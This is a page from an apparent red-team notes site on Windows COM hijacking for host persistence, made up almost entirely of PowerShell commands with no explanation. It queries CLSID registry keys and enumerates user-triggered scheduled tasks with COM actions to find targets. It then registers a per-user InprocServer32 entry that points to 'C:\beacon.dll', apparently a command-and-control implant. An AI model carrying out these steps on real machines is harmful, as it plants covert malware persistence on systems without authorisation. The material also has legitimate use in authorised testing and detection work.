> For the complete documentation index, see [llms.txt](https://hsaad.gitbook.io/x/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hsaad.gitbook.io/x/red-teaming/host-persistence/com-hijacking.md).

# COM Hijacking

```shell
PS> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

PS> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
```

```shell
PS> New-Item -Path "HKCU:Software\Classes\WOW6432Node\CLSID" -Name "{06622D85-6856-4460-8DE1-A81921B41C4B}"

PS> New-Item -Path "HKCU:Software\Classes\WOW6432Node\CLSID\{06622D85-6856-4460-8DE1-A81921B41C4B}" -Name "InprocServer32" -Value "C:\beacon.dll"

PS> New-ItemProperty -Path "HKCU:Software\Classes\WOW6432Node\CLSID\{06622D85-6856-4460-8DE1-A81921B41C4B}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```

```powershell
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}
```

```shell
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"

PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
```
